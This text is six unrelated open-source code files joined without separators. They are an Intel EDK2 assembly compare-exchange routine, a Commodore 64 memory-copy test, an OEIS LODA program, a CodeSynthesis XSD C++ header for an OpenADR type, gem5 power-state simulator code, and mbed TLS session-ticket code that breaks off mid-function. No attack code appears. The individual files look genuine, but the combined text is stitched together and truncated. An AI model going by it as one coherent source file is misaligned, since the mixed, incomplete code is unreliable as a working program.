;------------------------------------------------------------------------------ ; ; Copyright (c) 2006 - 2016, Intel Corporation. All rights reserved.<BR> ; This program and the accompanying materials ; are licensed and made available under the terms and conditions of the BSD License ; which accompanies this distribution. The full text of the license may be found at ; http://opensource.org/licenses/bsd-license.php. ; ; THE PROGRAM IS DISTRIBUTED UNDER THE BSD LICENSE ON AN "AS IS" BASIS, ; WITHOUT WARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED. ; ; Module Name: ; ; InterlockedCompareExchange64.Asm ; ; Abstract: ; ; InterlockedCompareExchange64 function ; ; Notes: ; ;------------------------------------------------------------------------------ SECTION .text ;------------------------------------------------------------------------------ ; UINT64 ; EFIAPI ; InternalSyncCompareExchange64 ( ; IN volatile UINT64 *Value, ; IN UINT64 CompareValue, ; IN UINT64 ExchangeValue ; ); ;------------------------------------------------------------------------------ global ASM_PFX(InternalSyncCompareExchange64) ASM_PFX(InternalSyncCompareExchange64): push esi push ebx mov esi, [esp + 12] mov eax, [esp + 16] mov edx, [esp + 20] mov ebx, [esp + 24] mov ecx, [esp + 28] lock cmpxchg8b [esi] pop ebx pop esi ret
;code start address * = $c000 ;VSCode extension VS64 (ACME cross-assembler) will automatially set output path and filename to the .cache directory ;!to "./testprogram.prg" ;copy $1000-10ff to $2000-200ff ldx #0 loop: lda $1000,x sta $2000,x inx bne loop ;In emulator, setup hitting brk instruction to stop brk
; A016978: a(n) = (6*n + 5)^10. ; 9765625,25937424601,2015993900449,41426511213649,420707233300201,2758547353515625,13422659310152401,52599132235830049,174887470365513049,511116753300641401,1346274334462890625,3255243551009881201,7326680472586200649,15516041187205853449,31181719929966183601,59873693923837890625,110462212541120451001,196715135728956532249,339456738992222314849,569468379011812486801,931322574615478515625,1488377021731616101801,2329194047563391944849,3575694237941010577249,5393400662063408511001 mul $0,6 add $0,5 pow $0,10
// Copyright (c) 2005-2014 Code Synthesis Tools CC // // This program was generated by CodeSynthesis XSD, an XML Schema to // C++ data binding compiler. // // This program is free software; you can redistribute it and/or modify // it under the terms of the GNU General Public License version 2 as // published by the Free Software Foundation. // // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with this program; if not, write to the Free Software // Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA // // In addition, as a special exception, Code Synthesis Tools CC gives // permission to link this program with the Xerces-C++ library (or with // modified versions of Xerces-C++ that use the same license as Xerces-C++), // and distribute linked combinations including the two. You must obey // the GNU General Public License version 2 in all respects for all of // the code used other than Xerces-C++. If you modify this copy of the // program, you may extend this exception to your version of the program, // but you are not obligated to do so. If you do not wish to do so, delete // this exception statement from your version. // // Furthermore, Code Synthesis Tools CC makes a special exception for // the Free/Libre and Open Source Software (FLOSS) which is described // in the accompanying FLOSSE file. // #ifndef BASE_UNIT_TYPE_HXX #define BASE_UNIT_TYPE_HXX #ifndef XSD_CXX11 #define XSD_CXX11 #endif #ifndef XSD_USE_CHAR #define XSD_USE_CHAR #endif #ifndef XSD_CXX_TREE_USE_CHAR #define XSD_CXX_TREE_USE_CHAR #endif // Begin prologue. // // // End prologue. #include <xsd/cxx/config.hxx> #if (XSD_INT_VERSION != 4000000L) #error XSD runtime version mismatch #endif #include <xsd/cxx/pre.hxx> #include <xsd/cxx/xml/char-utf8.hxx> #include <xsd/cxx/tree/exceptions.hxx> #include <xsd/cxx/tree/elements.hxx> #include <xsd/cxx/tree/types.hxx> #include <xsd/cxx/xml/error-handler.hxx> #include <xsd/cxx/xml/dom/auto-ptr.hxx> #include <xsd/cxx/tree/parsing.hxx> #include <xsd/cxx/tree/parsing/byte.hxx> #include <xsd/cxx/tree/parsing/unsigned-byte.hxx> #include <xsd/cxx/tree/parsing/short.hxx> #include <xsd/cxx/tree/parsing/unsigned-short.hxx> #include <xsd/cxx/tree/parsing/int.hxx> #include <xsd/cxx/tree/parsing/unsigned-int.hxx> #include <xsd/cxx/tree/parsing/long.hxx> #include <xsd/cxx/tree/parsing/unsigned-long.hxx> #include <xsd/cxx/tree/parsing/boolean.hxx> #include <xsd/cxx/tree/parsing/float.hxx> #include <xsd/cxx/tree/parsing/double.hxx> #include <xsd/cxx/tree/parsing/decimal.hxx> #include <xsd/cxx/xml/dom/serialization-header.hxx> #include <xsd/cxx/tree/serialization.hxx> #include <xsd/cxx/tree/serialization/byte.hxx> #include <xsd/cxx/tree/serialization/unsigned-byte.hxx> #include <xsd/cxx/tree/serialization/short.hxx> #include <xsd/cxx/tree/serialization/unsigned-short.hxx> #include <xsd/cxx/tree/serialization/int.hxx> #include <xsd/cxx/tree/serialization/unsigned-int.hxx> #include <xsd/cxx/tree/serialization/long.hxx> #include <xsd/cxx/tree/serialization/unsigned-long.hxx> #include <xsd/cxx/tree/serialization/boolean.hxx> #include <xsd/cxx/tree/serialization/float.hxx> #include <xsd/cxx/tree/serialization/double.hxx> #include <xsd/cxx/tree/serialization/decimal.hxx> #include <xsd/cxx/tree/std-ostream-operators.hxx> namespace xml_schema { // anyType and anySimpleType. // typedef ::xsd::cxx::tree::type type; typedef ::xsd::cxx::tree::simple_type< char, type > simple_type; typedef ::xsd::cxx::tree::type container; // 8-bit // typedef signed char byte; typedef unsigned char unsigned_byte; // 16-bit // typedef short short_; typedef unsigned short unsigned_short; // 32-bit // typedef int int_; typedef unsigned int unsigned_int; // 64-bit // typedef long long long_; typedef unsigned long long unsigned_long; // Supposed to be arbitrary-length integral types. // typedef long long integer; typedef long long non_positive_integer; typedef unsigned long long non_negative_integer; typedef unsigned long long positive_integer; typedef long long negative_integer; // Boolean. // typedef bool boolean; // Floating-point types. // typedef float float_; typedef double double_; typedef double decimal; // String types. // typedef ::xsd::cxx::tree::string< char, simple_type > string; typedef ::xsd::cxx::tree::normalized_string< char, string > normalized_string; typedef ::xsd::cxx::tree::token< char, normalized_string > token; typedef ::xsd::cxx::tree::name< char, token > name; typedef ::xsd::cxx::tree::nmtoken< char, token > nmtoken; typedef ::xsd::cxx::tree::nmtokens< char, simple_type, nmtoken > nmtokens; typedef ::xsd::cxx::tree::ncname< char, name > ncname; typedef ::xsd::cxx::tree::language< char, token > language; // ID/IDREF. // typedef ::xsd::cxx::tree::id< char, ncname > id; typedef ::xsd::cxx::tree::idref< char, ncname, type > idref; typedef ::xsd::cxx::tree::idrefs< char, simple_type, idref > idrefs; // URI. // typedef ::xsd::cxx::tree::uri< char, simple_type > uri; // Qualified name. // typedef ::xsd::cxx::tree::qname< char, simple_type, uri, ncname > qname; // Binary. // typedef ::xsd::cxx::tree::buffer< char > buffer; typedef ::xsd::cxx::tree::base64_binary< char, simple_type > base64_binary; typedef ::xsd::cxx::tree::hex_binary< char, simple_type > hex_binary; // Date/time. // typedef ::xsd::cxx::tree::time_zone time_zone; typedef ::xsd::cxx::tree::date< char, simple_type > date; typedef ::xsd::cxx::tree::date_time< char, simple_type > date_time; typedef ::xsd::cxx::tree::duration< char, simple_type > duration; typedef ::xsd::cxx::tree::gday< char, simple_type > gday; typedef ::xsd::cxx::tree::gmonth< char, simple_type > gmonth; typedef ::xsd::cxx::tree::gmonth_day< char, simple_type > gmonth_day; typedef ::xsd::cxx::tree::gyear< char, simple_type > gyear; typedef ::xsd::cxx::tree::gyear_month< char, simple_type > gyear_month; typedef ::xsd::cxx::tree::time< char, simple_type > time; // Entity. // typedef ::xsd::cxx::tree::entity< char, ncname > entity; typedef ::xsd::cxx::tree::entities< char, simple_type, entity > entities; typedef ::xsd::cxx::tree::content_order content_order; // Namespace information and list stream. Used in // serialization functions. // typedef ::xsd::cxx::xml::dom::namespace_info< char > namespace_info; typedef ::xsd::cxx::xml::dom::namespace_infomap< char > namespace_infomap; typedef ::xsd::cxx::tree::list_stream< char > list_stream; typedef ::xsd::cxx::tree::as_double< double_ > as_double; typedef ::xsd::cxx::tree::as_decimal< decimal > as_decimal; typedef ::xsd::cxx::tree::facet facet; // Flags and properties. // typedef ::xsd::cxx::tree::flags flags; typedef ::xsd::cxx::tree::properties< char > properties; // Parsing/serialization diagnostics. // typedef ::xsd::cxx::tree::severity severity; typedef ::xsd::cxx::tree::error< char > error; typedef ::xsd::cxx::tree::diagnostics< char > diagnostics; // Exceptions. // typedef ::xsd::cxx::tree::exception< char > exception; typedef ::xsd::cxx::tree::bounds< char > bounds; typedef ::xsd::cxx::tree::duplicate_id< char > duplicate_id; typedef ::xsd::cxx::tree::parsing< char > parsing; typedef ::xsd::cxx::tree::expected_element< char > expected_element; typedef ::xsd::cxx::tree::unexpected_element< char > unexpected_element; typedef ::xsd::cxx::tree::expected_attribute< char > expected_attribute; typedef ::xsd::cxx::tree::unexpected_enumerator< char > unexpected_enumerator; typedef ::xsd::cxx::tree::expected_text_content< char > expected_text_content; typedef ::xsd::cxx::tree::no_prefix_mapping< char > no_prefix_mapping; typedef ::xsd::cxx::tree::no_type_info< char > no_type_info; typedef ::xsd::cxx::tree::not_derived< char > not_derived; typedef ::xsd::cxx::tree::serialization< char > serialization; // Error handler callback interface. // typedef ::xsd::cxx::xml::error_handler< char > error_handler; // DOM interaction. // namespace dom { // Automatic pointer for DOMDocument. // using ::xsd::cxx::xml::dom::unique_ptr; #ifndef XSD_CXX_TREE_TREE_NODE_KEY__XML_SCHEMA #define XSD_CXX_TREE_TREE_NODE_KEY__XML_SCHEMA // DOM user data key for back pointers to tree nodes. // const XMLCh* const tree_node_key = ::xsd::cxx::tree::user_data_keys::node; #endif } } // Forward declarations. // namespace oadr2b { namespace oadr { class BaseUnitType; } } #include <memory> // ::std::unique_ptr #include <limits> // std::numeric_limits #include <algorithm> // std::binary_search #include <utility> // std::move #include <xsd/cxx/xml/char-utf8.hxx> #include <xsd/cxx/tree/exceptions.hxx> #include <xsd/cxx/tree/elements.hxx> #include <xsd/cxx/tree/containers.hxx> #include <xsd/cxx/tree/list.hxx> #include <xsd/cxx/xml/dom/parsing-header.hxx> #include "ItemBaseType.hxx" namespace siscale { class SiScaleCodeType; } namespace oadr2b { namespace oadr { class BaseUnitType: public ::oadr2b::emix::ItemBaseType { public: // itemDescription // typedef ::xml_schema::string itemDescription_type; typedef ::xsd::cxx::tree::traits< itemDescription_type, char > itemDescription_traits; const itemDescription_type& itemDescription () const; itemDescription_type& itemDescription (); void itemDescription (const itemDescription_type& x); void itemDescription (::std::unique_ptr< itemDescription_type > p); // itemUnits // typedef ::xml_schema::string itemUnits_type; typedef ::xsd::cxx::tree::traits< itemUnits_type, char > itemUnits_traits; const itemUnits_type& itemUnits () const; itemUnits_type& itemUnits (); void itemUnits (const itemUnits_type& x); void itemUnits (::std::unique_ptr< itemUnits_type > p); // siScaleCode // typedef ::siscale::SiScaleCodeType siScaleCode_type; typedef ::xsd::cxx::tree::traits< siScaleCode_type, char > siScaleCode_traits; const siScaleCode_type& siScaleCode () const; siScaleCode_type& siScaleCode (); void siScaleCode (const siScaleCode_type& x); void siScaleCode (::std::unique_ptr< siScaleCode_type > p); // Constructors. // BaseUnitType (const itemDescription_type&, const itemUnits_type&, const siScaleCode_type&); BaseUnitType (const ::xercesc::DOMElement& e, ::xml_schema::flags f = 0, ::xml_schema::container* c = 0); BaseUnitType (const BaseUnitType& x, ::xml_schema::flags f = 0, ::xml_schema::container* c = 0); virtual BaseUnitType* _clone (::xml_schema::flags f = 0, ::xml_schema::container* c = 0) const; BaseUnitType& operator= (const BaseUnitType& x); virtual ~BaseUnitType (); // Implementation. // protected: void parse (::xsd::cxx::xml::dom::parser< char >&, ::xml_schema::flags); protected: ::xsd::cxx::tree::one< itemDescription_type > itemDescription_; ::xsd::cxx::tree::one< itemUnits_type > itemUnits_; ::xsd::cxx::tree::one< siScaleCode_type > siScaleCode_; }; } } #include <iosfwd> namespace oadr2b { namespace oadr { ::std::ostream& operator<< (::std::ostream&, const BaseUnitType&); } } #include <iosfwd> #include <xercesc/sax/InputSource.hpp> #include <xercesc/dom/DOMDocument.hpp> #include <xercesc/dom/DOMErrorHandler.hpp> namespace oadr2b { namespace oadr { } } #include <iosfwd> #include <xercesc/dom/DOMDocument.hpp> #include <xercesc/dom/DOMErrorHandler.hpp> #include <xercesc/framework/XMLFormatter.hpp> #include <xsd/cxx/xml/dom/auto-ptr.hxx> namespace oadr2b { namespace oadr { void operator<< (::xercesc::DOMElement&, const BaseUnitType&); } } #include <xsd/cxx/post.hxx> // Begin epilogue. // // // End epilogue. #endif // BASE_UNIT_TYPE_HXX
/* * Copyright (c) 2015-2017, 2019-2020 ARM Limited * All rights reserved * * The license below extends only to copyright in the software and shall * not be construed as granting a license to any other intellectual * property including but not limited to intellectual property relating * to a hardware implementation of the functionality of the software * licensed hereunder. You may use the software subject to the license * terms below provided that you ensure that this notice is replicated * unmodified and in its entirety in all distributions of the software, * modified or unmodified, in source code or in binary form. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are * met: redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer; * redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution; * neither the name of the copyright holders nor the names of its * contributors may be used to endorse or promote products derived from * this software without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #include "sim/power_state.hh" #include <cassert> #include "base/logging.hh" #include "base/trace.hh" #include "debug/PowerDomain.hh" #include "sim/power_domain.hh" #include "sim/serialize.hh" PowerState::PowerState(const PowerStateParams &p) : SimObject(p), _currState(p.default_state), possibleStates(p.possible_states.begin(), p.possible_states.end()), stats(*this) { for (auto &pm: p.leaders) { // Register this object as a follower. This object is // dependent on pm for power state transitions pm->addFollower(this); } } void PowerState::setControlledDomain(PowerDomain* pwr_dom) { // Only a power domain can register as dependant of a power stated // object controlledDomain = pwr_dom; DPRINTF(PowerDomain, "%s is registered as controlled by %s \n", pwr_dom->name(), name()); } void PowerState::serialize(CheckpointOut &cp) const { unsigned int currState = (unsigned int)_currState; SERIALIZE_SCALAR(currState); SERIALIZE_SCALAR(prvEvalTick); } void PowerState::unserialize(CheckpointIn &cp) { unsigned int currState; UNSERIALIZE_SCALAR(currState); UNSERIALIZE_SCALAR(prvEvalTick); _currState = Enums::PwrState(currState); } void PowerState::set(Enums::PwrState p) { // Check if this power state is actually allowed by checking whether it is // present in pwrStateToIndex-dictionary panic_if(possibleStates.find(p) == possibleStates.end(), "Cannot go to %s in %s \n", Enums::PwrStateStrings[p], name()); // Function should ideally be called only when there is a state change if (_currState == p) { warn_once("PowerState: Already in the requested power state, " "request ignored"); return; } // No need to compute stats if in the same tick, update state though. This // can happen in cases like a) during start of the simulation multiple // state changes happens in init/startup phase, b) one takes a decision to // migrate state but decides to reverts back to the original state in the // same tick if other conditions are not met elsewhere. // Any state change related stats would have been recorded on previous call // to this function. if (prvEvalTick == curTick() && curTick() != 0) { warn("PowerState: More than one power state change request " "encountered within the same simulation tick"); _currState = p; return; } // Record stats for previous state. computeStats(); _currState = p; stats.numTransitions++; // Update the domain this object controls, if there is one if (controlledDomain) { controlledDomain->pwrStateChangeCallback(p, this); } } Enums::PwrState PowerState::matchPwrState(Enums::PwrState p) { // If the object is asked to match a power state, it has to be a follower // and hence should not have a pointer to a powerDomain assert(controlledDomain == nullptr); // If we are already in this power state, ignore request if (_currState == p) { DPRINTF(PowerDomain, "Already in p-state %s requested to match \n", Enums::PwrStateStrings[p]); return _currState; } Enums::PwrState old_state = _currState; if (possibleStates.find(p) != possibleStates.end()) { // If this power state is allowed in this object, just go there set(p); } else { // Loop over all power states in this object and find a power state // which is more performant than the requested one (considering we // cannot match it exactly) for (auto rev_it = possibleStates.crbegin(); rev_it != possibleStates.crend(); rev_it++) { if (*(rev_it) <= p) { // This power state is the least performant power state that is // still more performant than the requested one DPRINTF(PowerDomain, "Best match for %s is %s \n", Enums::PwrStateStrings[p], Enums::PwrStateStrings[*(rev_it)]); set(*(rev_it)); break; } } } // Check if the transition happened // The only case in which the power state cannot change is if the // object is already at in its most performant state. warn_if((_currState == old_state) && possibleStates.find(_currState) != possibleStates.begin(), "Transition to power state %s was not possible, SimObject already" " in the most performance state %s", Enums::PwrStateStrings[p], Enums::PwrStateStrings[_currState]); stats.numPwrMatchStateTransitions++; return _currState; } void PowerState::computeStats() { // Calculate time elapsed from last (valid) state change Tick elapsed_time = curTick() - prvEvalTick; stats.pwrStateResidencyTicks[_currState] += elapsed_time; // Time spent in CLK_GATED state, this might change depending on // transition to other low power states in respective simulation // objects. if (_currState == Enums::PwrState::CLK_GATED) { stats.ticksClkGated.sample(elapsed_time); } prvEvalTick = curTick(); } std::vector<double> PowerState::getWeights() const { // Get residency stats std::vector<double> ret; Stats::VCounter residencies; stats.pwrStateResidencyTicks.value(residencies); // Account for current state too! Tick elapsed_time = curTick() - prvEvalTick; residencies[_currState] += elapsed_time; ret.resize(Enums::PwrState::Num_PwrState); for (unsigned i = 0; i < Enums::PwrState::Num_PwrState; i++) ret[i] = residencies[i] / \ (stats.pwrStateResidencyTicks.total() + elapsed_time); return ret; } PowerState::PowerStateStats::PowerStateStats(PowerState &co) : Stats::Group(&co), powerState(co), ADD_STAT(numTransitions, "Number of power state transitions"), ADD_STAT(numPwrMatchStateTransitions, "Number of power state transitions due match request"), ADD_STAT(ticksClkGated, "Distribution of time spent in the clock gated state"), ADD_STAT(pwrStateResidencyTicks, "Cumulative time (in ticks) in various power states") { } void PowerState::PowerStateStats::regStats() { Stats::Group::regStats(); using namespace Stats; const PowerStateParams &p = powerState.params(); numTransitions.flags(nozero); numPwrMatchStateTransitions.flags(nozero); // Each sample is time in ticks unsigned num_bins = std::max(p.clk_gate_bins, 10U); ticksClkGated .init(p.clk_gate_min, p.clk_gate_max, (p.clk_gate_max / num_bins)) .flags(pdf | nozero | nonan) ; pwrStateResidencyTicks .init(Enums::PwrState::Num_PwrState) .flags(nozero) ; for (int i = 0; i < Enums::PwrState::Num_PwrState; i++) { pwrStateResidencyTicks.subname(i, Enums::PwrStateStrings[i]); } numTransitions = 0; } void PowerState::PowerStateStats::preDumpStats() { Stats::Group::preDumpStats(); /** * For every stats dump, the power state residency and other distribution * stats should be computed just before the dump to ensure correct stats * value being reported for current dump window. It avoids things like * having any unreported time spent in a power state to be forwarded to the * next dump window which might have rather unpleasant effects (like * perturbing the distribution stats). */ powerState.computeStats(); }
/* * TLS server tickets callbacks implementation * * Copyright (C) 2006-2015, ARM Limited, All Rights Reserved * SPDX-License-Identifier: Apache-2.0 * * Licensed under the Apache License, Version 2.0 (the "License"); you may * not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. * * This file is part of mbed TLS (https://tls.mbed.org) */ #if !defined(MBEDTLS_CONFIG_FILE) #include "mbedtls/config.h" #else #include MBEDTLS_CONFIG_FILE #endif #if defined(MBEDTLS_SSL_TICKET_C) #if defined(MBEDTLS_PLATFORM_C) #include "mbedtls/platform.h" #else #include <stdlib.h> #define mbedtls_calloc calloc #define mbedtls_free free #endif #include "mbedtls/ssl_ticket.h" #include <string.h> /* Implementation that should never be optimized out by the compiler */ static void mbedtls_zeroize( void *v, size_t n ) { volatile unsigned char *p = (unsigned char *)v; while( n-- ) *p++ = 0; } /* * Initialze context */ void mbedtls_ssl_ticket_init( mbedtls_ssl_ticket_context *ctx ) { memset( ctx, 0, sizeof( mbedtls_ssl_ticket_context ) ); #if defined(MBEDTLS_THREADING_C) mbedtls_mutex_init( &ctx->mutex ); #endif } #define MAX_KEY_BYTES 32 /* 256 bits */ /* * Generate/update a key */ static int ssl_ticket_gen_key( mbedtls_ssl_ticket_context *ctx, unsigned char index ) { int ret; unsigned char buf[MAX_KEY_BYTES]; mbedtls_ssl_ticket_key *key = ctx->keys + index; #if defined(MBEDTLS_HAVE_TIME) key->generation_time = (uint32_t) mbedtls_time( NULL ); #endif if( ( ret = ctx->f_rng( ctx->p_rng, key->name, sizeof( key->name ) ) ) != 0 ) return( ret ); if( ( ret = ctx->f_rng( ctx->p_rng, buf, sizeof( buf ) ) ) != 0 ) return( ret ); /* With GCM and CCM, same context can encrypt & decrypt */ ret = mbedtls_cipher_setkey( &key->ctx, buf, mbedtls_cipher_get_key_bitlen( &key->ctx ), MBEDTLS_ENCRYPT ); mbedtls_zeroize( buf, sizeof( buf ) ); return( ret ); } /* * Rotate/generate keys if necessary */ static int ssl_ticket_update_keys( mbedtls_ssl_ticket_context *ctx ) { #if !defined(MBEDTLS_HAVE_TIME) ((void) ctx); #else if( ctx->ticket_lifetime != 0 ) { uint32_t current_time = (uint32_t) mbedtls_time( NULL ); uint32_t key_time = ctx->keys[ctx->active].generation_time; if( current_time > key_time && current_time - key_time < ctx->ticket_lifetime ) { return( 0 ); } ctx->active = 1 - ctx->active; return( ssl_ticket_gen_key( ctx, ctx->active ) ); } else #endif /* MBEDTLS_HAVE_TIME */ return( 0 ); } /* * Setup context for actual use */ int mbedtls_ssl_ticket_setup( mbedtls_ssl_ticket_context *ctx, int (*f_rng)(void *, unsigned char *, size_t), void *p_rng, mbedtls_cipher_type_t cipher, uint32_t lifetime ) { int ret; const mbedtls_cipher_info_t *cipher_info; ctx->f_rng = f_rng; ctx->p_rng = p_rng; ctx->ticket_lifetime = lifetime; cipher_info = mbedtls_cipher_info_from_type( cipher); if( cipher_info == NULL ) return( MBEDTLS_ERR_SSL_BAD_INPUT_DATA ); if( cipher_info->mode != MBEDTLS_MODE_GCM && cipher_info->mode != MBEDTLS_MODE_CCM ) { return( MBEDTLS_ERR_SSL_BAD_INPUT_DATA ); } if( cipher_info->key_bitlen > 8 * MAX_KEY_BYTES ) return( MBEDTLS_ERR_SSL_BAD_INPUT_DATA ); if( ( ret = mbedtls_cipher_setup( &ctx->keys[0].ctx, cipher_info ) ) != 0 || ( ret = mbedtls_cipher_setup( &ctx->keys[1].ctx, cipher_info ) ) != 0 ) { return( ret ); } if( ( ret = ssl_ticket_gen_key( ctx, 0 ) ) != 0 || ( ret = ssl_ticket_gen_key( ctx, 1 ) ) != 0 ) { return( ret ); } return( 0 ); } /* * Serialize a session in the following format: * 0 . n-1 session structure, n = sizeof(mbedtls_ssl_session) * n . n+2 peer_cert length = m (0 if no certificate) * n+3 . n+2+m peer cert ASN.1 */ static int ssl_save_session( const mbedtls_ssl_session *session, unsigned char *buf, size_t buf_len, size_t *olen ) { unsigned char *p = buf; size_t left = buf_len; #if defined(MBEDTLS_X509_CRT_PARSE_C) size_t cert_len; #endif /* MBEDTLS_X509_CRT_PARSE_C */ if( left < sizeof( mbedtls_ssl_session ) ) return( MBEDTLS_ERR_SSL_BUFFER_TOO_SMALL ); memcpy( p, session, sizeof( mbedtls_ssl_session ) ); p += sizeof( mbedtls_ssl_session ); left -= sizeof( mbedtls_ssl_session ); #if defined(MBEDTLS_X509_CRT_PARSE_C) if( session->peer_cert == NULL ) cert_len = 0; else cert_len = session->peer_cert->raw.len; if( left < 3 + cert_len ) return( MBEDTLS_ERR_SSL_BUFFER_TOO_SMALL ); *p++ = (unsigned char)( cert_len >> 16 & 0xFF ); *p++ = (unsigned char)( cert_len >> 8 & 0xFF ); *p++ = (unsigned char)( cert_len & 0xFF ); if( session->peer_cert != NULL ) memcpy( p, session->peer_cert->raw.p, cert_len ); p += cert_len; #endif /* MBEDTLS_X509_CRT_PARSE_C */ *olen = p - buf; return( 0 ); } /* * Unserialise session, see ssl_save_session() */ static int ssl_load_session( mbedtls_ssl_session *session, const unsigned char *buf, size_t len ) { const unsigned char *p = buf; const unsigned char * const end = buf + len; #if defined(MBEDTLS_X509_CRT_PARSE_C) size_t cert_len; #endif /* MBEDTLS_X509_CRT_PARSE_C */ if( p + sizeof( mbedtls_ssl_session ) > end ) return( MBEDTLS_ERR_SSL_BAD_INPUT_DATA ); memcpy( session, p, sizeof( mbedtls_ssl_session ) ); p += sizeof( mbedtls_ssl_session ); #if defined(MBEDTLS_X509_CRT_PARSE_C) if( p + 3 > end ) return( MBEDTLS_ERR_SSL_BAD_INPUT_DATA ); cert_len = ( p[0] << 16 ) | ( p[1] << 8 ) | p[2]; p += 3; if( cert_len == 0 ) { session->peer_cert = NULL; } else { int ret; if( p + cert_len > end ) return( MBEDTLS_ERR_SSL_BAD_INPUT_DATA ); session->peer_cert = mbedtls_calloc( 1, sizeof( mbedtls_x509_crt ) ); if( session->peer_cert == NULL ) return( MBEDTLS_ERR_SSL_ALLOC_FAILED ); mbedtls_x509_crt_init( session->peer_cert ); if( ( ret = mbedtls_x509_crt_parse_der( session->peer_cert, p, cert_len ) ) != 0 ) { mbedtls_x509_crt_free( session->peer_cert ); mbedtls_free( session->peer_cert ); session->peer_cert = NULL; return( ret ); } p += cert_len; } #endif /* MBEDTLS_X509_CRT_PARSE_C */ if( p != end ) return( MBEDTLS_ERR_SSL_BAD_INPUT_DATA ); return( 0 ); } /* * Create session ticket, with the following structure: * * struct { * opaque key_name[4]; * opaque iv[12]; * opaque encrypted_state<0..2^16-1>; * opaque tag[16]; * } ticket; * * The key_name, iv, and length of encrypted_state are the additional * authenticated data. */ int mbedtls_ssl_ticket_write( void *p_ticket, const mbedtls_ssl_session *session, unsigned char *start, const unsigned char *end, size_t *tlen, uint32_t *ticket_lifetime ) { int ret; mbedtls_ssl_ticket_context *ctx = p_ticket; mbedtls_ssl_ticket_key *key; unsigned char *key_name = start; unsigned char *iv = start + 4; unsigned char *state_len_bytes = iv + 12; unsigned char *state = state_len_bytes + 2; unsigned char *tag; size_t clear_len, ciph_len; *tlen = 0; if( ctx == NULL || ctx->f_rng == NULL ) return( MBEDTLS_ERR_SSL_BAD_INPUT_DATA ); /* We need at least 4 bytes for key_name, 12 for IV, 2 for len 16 for tag, * in addition to session itself, that will be checked when writing it. */ if( end - start < 4 + 12 + 2 + 16 ) return( MBEDTLS_ERR_SSL_BUFFER_TOO_SMALL ); #if defined(MBEDTLS_THREADING_C) if( ( ret = mbedtls_mutex_lock( &ctx->mutex ) ) != 0 ) return( ret ); #endif if( ( ret = ssl_ticket_update_keys( ctx ) ) != 0 ) goto cleanup; key = &ctx->keys[ctx->active]; *ticket_lifetime = ctx->ticket_lifetime; memcpy( key_name, key->name, 4 ); if( ( ret = ctx->f_rng( ctx->p_rng, iv, 12 ) ) != 0 ) goto cleanup; /* Dump session state */ if( ( ret = ssl_save_session( session, state, end - state, &clear_len ) ) != 0 || (unsigned long) clear_len > 65535 ) { goto cleanup; } state_len_bytes[0] = ( clear_len >> 8 ) & 0xff; state_len_bytes[1] = ( clear_len ) & 0xff; /* Encrypt and authenticate */ tag = state + clear_len; if( ( ret = mbedtls_cipher_auth_encrypt( &key->ctx, iv, 12, key_name, 4 + 12 + 2, state, clear_len, state, &ciph_len, tag, 16 ) ) != 0 ) { goto cleanup; } if( ciph_len != clear_len ) { ret = MBEDTLS_ERR_SSL_INTERNAL_ERROR; goto cleanup; } *tlen = 4 + 12 + 2 + 16 + ciph_len; cleanup: #if defined(MBEDTLS_THREADING_C) if( mbedtls_mutex_unlock( &ctx->mutex ) != 0 ) return( MBEDTLS_ERR_THREADING_MUTEX_ERROR ); #endif return( ret ); } /* * Select key based on name */ static mbedtls_ssl_ticket_key *ssl_ticket_select_key( mbedtls_ssl_ticket_context *ctx, const unsigned char name[4] ) { unsigned char i; for( i = 0; i < sizeof( ctx->keys ) / sizeof( *ctx->keys ); i++ ) if( memcmp( name, ctx->keys[i].name, 4 ) == 0 ) return( &ctx->keys[i] ); return( NULL ); } /* * Load session ticket (see mbedtls_ssl_ticket_write for structure) */ int mbedtls_ssl_ticket_parse( void *p_ticket, mbedtls_ssl_session *session, unsigned char *buf, size_t len ) { int ret; mbedtls_ssl_ticket_context *ctx = p_ticket; mbedtls_ssl_ticket_key *key; unsigned char *key_name = buf; unsigned char *iv = buf + 4; unsigned char *enc_len_p = iv + 12; unsigned char *ticket = enc_len_p + 2; unsigned char *tag; size_t enc_len, clear_len; if( ctx == NULL || ctx->f_rng == NULL ) return( MBEDTLS_ERR_SSL_BAD_INPUT_DATA ); /* See mbedtls_ssl_ticket_write() */ if( len < 4 + 12 + 2 + 16 ) return( MBEDTLS_ERR_SSL_BAD_INPUT_DATA ); #if defined(MBEDTLS_THREADING_C) if( ( ret = mbedtls_mutex_lock( &ctx->mutex ) ) != 0 ) return( ret ); #endif if( ( ret = ssl_ticket_update_keys( ctx ) ) != 0 ) goto cleanup; enc_len = ( enc_len_p[0] << 8 ) | enc_len_p[1]; tag = ticket + enc_len; if( len != 4 + 12 